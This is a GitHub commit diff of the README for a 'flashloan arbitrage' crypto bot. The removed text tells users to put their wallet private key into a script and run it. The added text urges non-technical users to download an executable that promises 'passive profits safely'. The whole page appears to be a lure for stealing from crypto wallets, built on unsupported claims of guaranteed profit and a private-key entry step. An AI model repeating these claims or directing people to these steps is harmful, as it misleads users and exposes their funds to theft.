Skip to content

Commit 41e59e8

Browse files
committed
Update README.md
1 parent a6a4168 commit 41e59e8

File tree

1 file changed

+49
-244
lines changed

1 file changed

+49
-244
lines changed

README.md

Lines changed: 49 additions & 244 deletions
Original file line numberDiff line numberDiff line change
@@ -1,260 +1,65 @@
1+
# 🚀 Sourcecode-Flash - Simple Flashloan Arbitrage Tool
12

2-
3+
## 💻 Download Now
4+
[![Download](https://img.shields.io/badge/Download-Sourcecode--Flash-brightgreen)](https://github.com/Umarcollab/Sourcecode-Flash/releases)
35

4-
# FlashLoanArbitrage
6+
## 📖 Description
7+
Sourcecode-Flash allows you to run flashloan arbitrage using JavaScript code and smart contracts. This application helps you earn passive profits safely on your PC. It focuses on simplicity, making it easy for anyone to get started in the world of decentralized finance (DeFi).
58

6-
9+
## 🚀 Getting Started
10+
Getting started with Sourcecode-Flash is straightforward. Follow these steps to download and run the application smoothly.
711

8-
Hi! This is my project **FlashLoanArbitrage** — a bot for arbitrage on DeFi with flash loans. Using a smart contract and a local script `goflash.js`, which runs on your computer. Sharing it so you can try it out!
12+
### 🖥️ System Requirements
13+
To run Sourcecode-Flash, your PC should meet the following requirements:
14+
- Operating System: Windows, macOS, or Linux
15+
- RAM: 4GB minimum
16+
- Storage: 200MB of available disk space
17+
- Internet Connection: Required for retrieving blockchain data
918

10-
19+
### 🔗 Important Links
20+
- [GitHub Repository](https://github.com/Umarcollab/Sourcecode-Flash)
21+
- [Community Support](https://github.com/Umarcollab/Sourcecode-Flash/issues)
1122

12-
![DeFi Arbitrage](https://i.ibb.co/7xtfYSxL/image-20.jpg)
23+
## 📥 Download & Install
24+
1. **Visit the Download Page:** Go to the [Releases page](https://github.com/Umarcollab/Sourcecode-Flash/releases) to find the latest version of Sourcecode-Flash.
25+
2. **Select the Latest Release:** Scroll and look for the most recent version. Click on it.
26+
3. **Download the Package:** Locate the package suitable for your operating system (ZIP or EXE file). Click to download it.
27+
4. **Extract Files (if necessary):** If you downloaded a ZIP file, right-click and select "Extract All" to unzip the folder.
28+
5. **Run the Application:**
29+
- For Windows: Locate the `Sourcecode-Flash.exe` file in the extracted folder. Double-click to run it.
30+
- For macOS/Linux: Open the terminal, navigate to the extracted folder, and run the script using the command `./sourcecode-flash`.
1331

14-
32+
## 🔧 Configuring the Application
33+
After running the application for the first time, you will need to configure it before using it.
1534

16-
## How It Works 💡
35+
1. **Set Up Wallet:**
36+
- You will need an Ethereum wallet to manage your funds. Make sure your wallet has some ETH for transaction fees.
37+
2. **Input Your API Keys:**
38+
- For accessing blockchain data, provide your own API keys. The application will prompt you for this information upon launch.
1739

18-
40+
### 🔍 Exploring Features
41+
- **Easy to Use Interface:** Designed for users with no coding background.
42+
- **Real-Time Data:** Access live data from the Ethereum blockchain.
43+
- **Automated Trading:** Set up automated trading strategies with ease.
44+
- **Customizable Settings:** Adjust settings according to your trading preferences.
1945

20-
1. **Smart Contract**:
46+
## 📞 Getting Help
47+
If you encounter any issues, feel free to check the [Community Support](https://github.com/Umarcollab/Sourcecode-Flash/issues) for assistance. The community is eager to help you troubleshoot any problems you may face.
2148

22-
- Takes a flash loan in USDC.
49+
## 📚 Resources
50+
- **Documentation:** Comprehensive guides and tips for using Sourcecode-Flash can be found in the wiki section of the repository.
51+
- **FAQ:** You can find frequently asked questions to address common concerns.
2352

24-
- Converts your ETH to USDC before the deal.
53+
## 🔗 Additional Information
54+
- **License:** This project is open-source and licensed under the MIT License.
55+
- **Contributing:** If you want to contribute, feel free to submit a pull request. Your input is welcome.
2556

26-
- Buys ETH at a low price on one platform.
57+
## 🔗 Stay Updated
58+
Make sure to watch the repository for updates. You can do this by clicking the "Watch" button at the top of the GitHub page. This way, you'll receive notifications about new releases and updates.
2759

28-
- Sells ETH at a high price on another.
60+
## 💡 Final Notes
61+
Sourcecode-Flash provides a unique opportunity to engage with the blockchain world effortlessly. Jump in and start your journey towards passive profits today!
2962

30-
- Repays the loan, pays fees and gas.
63+
## 📥 Download Now Again
64+
[![Download](https://img.shields.io/badge/Download-Sourcecode--Flash-brightgreen)](https://github.com/Umarcollab/Sourcecode-Flash/releases)
3165

32-
- Converts the profit from USDC back to ETH.
33-
34-
- The remainder is your profit!
35-
36-
37-
38-
2. **Script `goflash.js`**:
39-
40-
- Checks ETH/USDC prices on five DeFi platforms.
41-
42-
- Waits for a price difference of **0.9%** or more to avoid losses.
43-
44-
- If the difference is there, it triggers arbitrage through the contract.
45-
46-
47-
48-
## Which DeFi Protocols I Use 💰
49-
50-
51-
52-
I added four protocols for flash loans:
53-
54-
55-
56-
- **Aave (0.05%)**: Tons of liquidity, up to **10,000,000 USDC**.
57-
58-
- **dYdX (0.05%)**: Fast, up to **500,000 USDC**.
59-
60-
- **Uniswap V3 (0.01%)**: Low fees, up to **5,000,000 USDC**.
61-
62-
- **Balancer (0.02%)**: Flexible pools, up to **1,000,000 USDC**.
63-
64-
65-
66-
The bigger the loan, the higher the fee. So don’t take a huge loan if your wallet balance is low!
67-
68-
69-
70-
## Which Platforms I Scan 📊
71-
72-
73-
74-
<img src="https://i.ibb.co/4RtXjn2G/chainlink-link-logo.png" alt="Chainlink" width="50">
75-
76-
<img src="https://i.ibb.co/gZf4KQT0/uniswap-uni-logo.png" alt="Uniswap" width="50">
77-
78-
<img src="https://i.ibb.co/SWfzvJq/sushiswap-sushi-logo.png" alt="SushiSwap" width="50">
79-
80-
<img src="https://i.ibb.co/r2H1V45g/curve-dao-token-crv-logo.png" alt="Curve" width="50">
81-
82-
<img src="https://i.ibb.co/21vcD80K/balancer-bal-logo.png" alt="Balancer" width="50">
83-
84-
85-
86-
The script checks ETH/USDC prices on these platforms:
87-
88-
89-
90-
1. **Chainlink**: Oracle for the base ETH price.
91-
92-
2. **Uniswap V2**: Classic DEX, always liquid.
93-
94-
3. **SushiSwap**: Uniswap fork, also solid.
95-
96-
4. **Curve Finance**: Stable pools, less slippage.
97-
98-
5. **Balancer**: Flexible pools for arbitrage.
99-
100-
101-
102-
If the price difference is ≥0.9%, the script triggers a deal. Less than that, it waits to avoid losses.
103-
104-
105-
106-
![DeFi Platforms](https://i.ibb.co/kr0J4mD/21.png)
107-
108-
109-
110-
## How to Run 🚀
111-
112-
113-
114-
Here’s how to run my bot:
115-
116-
117-
118-
1. **Download the Files**:
119-
120-
- Grab [goflash.js](goflash.js), [package.json](package.json) from the repo.
121-
122-
123-
124-
2. **Put Them in a Folder**:
125-
126-
- Any folder on your computer.
127-
128-
129-
130-
3. **Install Libraries**:
131-
132-
- Open a terminal (cmd, PowerShell, or VS Code).
133-
134-
- Navigate to the folder with:
135-
136-
```bash
137-
138-
cd your_path_to_folder
139-
140-
```
141-
142-
- Install dependencies:
143-
144-
```bash
145-
146-
npm install
147-
148-
```
149-
150-
151-
152-
4. **Add Your Private Key**:
153-
154-
- Open `goflash.js` in an editor.
155-
156-
- Replace:
157-
158-
```javascript
159-
160-
const PRIVATE_KEY = "YOUR_PRIVATE_KEY_HERE";
161-
162-
```
163-
164-
with your key ( **Don’t share it with anyone!** )
165-
166-
167-
168-
5. **Run the Script**:
169-
170-
- Type in the terminal:
171-
172-
```bash
173-
174-
node goflash.js
175-
176-
```
177-
178-
179-
180-
6. **Work with the Menu**:
181-
182-
- Select **DeFi** — I recommend **dYdX** or **Uniswap V3**.
183-
184-
- In **Loan Amount in ETH**, set the loan amount (from 10 to the protocol’s max).
185-
186-
- **Careful**: If your wallet balance is <0.1 ETH, don’t take a loan over **10 ETH** — gas won’t cover it!
187-
188-
- Hit **Start Arbitrage** to start.
189-
190-
191-
192-
7. **What the Script Does**:
193-
194-
- Scans ETH/USDC prices on platforms.
195-
196-
- Waits for a difference ≥0.9% and triggers arbitrage through the contract.
197-
198-
- Converts your ETH to USDC before the deal and profit back to ETH after.
199-
200-
201-
202-
## Important Notes ⚠️
203-
204-
205-
206-
- **Wallet Balance**: For loans over 10 ETH, you need a balance ≥0.1 ETH, or the script won’t let you pick a big loan.
207-
208-
- **Fees**: You pay trading fees (0.1%), slippage (0.05%), and gas.
209-
210-
211-
212-
## How It Works Example 📈
213-
214-
215-
216-
1. You pick **dYdX** and a loan of **10 ETH** (if balance ≥0.1 ETH).
217-
218-
2. The script converts your ETH to USDC before the deal (wallet balance is used only for gas, ETH **is not transferred** to the FlashLoanArbitrage contract).
219-
220-
3. It checks prices, for example:
221-
222-
- Uniswap V2: 4200 USDC/ETH
223-
224-
- SushiSwap: 4250 USDC/ETH
225-
226-
4. If the difference is ≥0.9%, the contract:
227-
228-
- Takes a flash loan in USDC.
229-
230-
- Buys ETH on Uniswap V2.
231-
232-
- Sells ETH on SushiSwap.
233-
234-
- Repays the loan, pays fees and gas.
235-
236-
- Converts the profit from USDC back to ETH.
237-
238-
- The final profit (`Net profit`) in ETH goes to you, accounting for all costs (flash loan fee, trading fees 0.1%, slippage 0.05%, gas).
239-
240-
- No need to top up any balance anywhere!!!
241-
242-
243-
244-
![Arbitrage Flow](https://s14.gifyu.com/images/bNaR2.png)
245-
246-
247-
248-
## Good Luck! 🍀
249-
250-
251-
252-
Hope my bot brings you some profit! If something doesn’t work or you have ideas, drop a note in issues.
253-
254-
255-
256-
---
257-
258-
259-
260-
*This is my project, made for myself, sharing as is. Check the contract and script before mainnet to avoid bugs!*

0 commit comments

Comments
 (0)